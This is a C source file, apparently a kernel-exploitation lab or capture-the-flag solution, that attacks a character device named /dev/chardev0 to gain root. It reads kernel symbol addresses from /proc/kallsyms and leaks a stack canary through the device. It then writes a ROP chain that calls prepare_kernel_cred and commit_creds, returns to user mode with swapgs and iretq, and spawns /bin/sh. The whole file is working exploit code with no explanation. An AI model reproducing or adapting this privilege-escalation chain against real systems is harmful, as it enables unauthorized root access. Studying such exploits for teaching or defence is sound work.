//gcc -masm=intel -static -o rop exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
#define TEXT_LEN 64
struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));
struct register_val rv;
size_t commit_creds, prepare_kernel_cred;
void getShell(void)
{
execl("/bin/sh","sh",NULL);
}
void backup_rv(void) {
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
}
unsigned long kallsym_getaddr(const char* str)
{
FILE *stream;
char fbuf[256];
char addr[32];
stream = fopen("/proc/kallsyms","r");
if(stream < 0)
{
printf("failed to open /proc/kallsyms\n");
return 0;
}
memset(fbuf,0x00,sizeof(fbuf));
char buf[0x30] = {0};
while(fgets(fbuf,256,stream) != NULL)
{
char *p = fbuf;
char *a = addr;
if(strlen(fbuf) == 0)
continue;
memset(addr,0x00,sizeof(addr));
fbuf[strlen(fbuf)-1] = '\0';
while(*p != ' ')
*a++ = *p++;
p += 3;
if(!strcmp(p,str)){
char hex[20] = {0};
strncpy(hex, addr, 16);
if(strcmp(str,"prepare_kernel_cred") == 0){
sscanf(hex, "%lx", &prepare_kernel_cred);
return 1;
}else if(strcmp(str,"commit_creds") == 0){
sscanf(hex, "%lx", &commit_creds);
return 1;
}
}
}
return 0;
}
int main()
{
static char buf[512];
size_t rop[512] = {0};
char val[8];
int fd,i,j;
if(kallsym_getaddr("commit_creds") == 0)
{
printf("failed to get commit_creds address\n");
return 0;
}
if(kallsym_getaddr("prepare_kernel_cred") == 0)
{
printf("failed to get prepare_kernel_cred address\n");
return 0;
}
if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
printf("Cannot open /dev/chardev0. Try again later.\n");
return 0;
}
printf("prepare_kernel_cred addr: %p\n", (void*)prepare_kernel_cred);
printf("commit_creds addr: %p\n", (void*)commit_creds);
lseek(fd, 16, SEEK_CUR);
read(fd, buf, TEXT_LEN);
printf("%s\n",buf);
for (i = 0; i < 4; i++)
{
for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
printf(" | ");
for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
printf("\n");
}
memcpy(val, buf+48,8);
size_t canary = ((size_t *)val)[0];
printf("[+]canary: %p\n", (void *)canary);
backup_rv();
rop[8] = canary;
rop[9] = 0;
rop[10] = 0;
rop[11] = 0;
rop[12] = 0xffffffff813e223f; //pop_rdi
rop[13] = 0;
rop[14] = prepare_kernel_cred; // Call prepare_kernel_cred
rop[15] = 0xffffffff8112d952; //pop rdx ; ret ;
rop[16] = commit_creds;
rop[17] = 0xffffffff817e9e92; //mov rdi, rax ; call rdx(commit_creds) ;
rop[18] = 0;
rop[19] = 0xffffffff810613d4; //swapgs ; pop rbp ; ret ;
rop[20] = 0;
rop[21] = 0xffffffff817f7a97; //iretq;
rop[22] = (size_t)getShell;
rop[23] = rv.user_cs;
rop[24] = rv.user_rflags;
rop[25] = rv.user_rsp;
rop[26] = rv.user_ss;
write(fd, rop, 8*27);
if (close(fd) != 0){
printf("Cannot close.\n");
}
return 0;
} |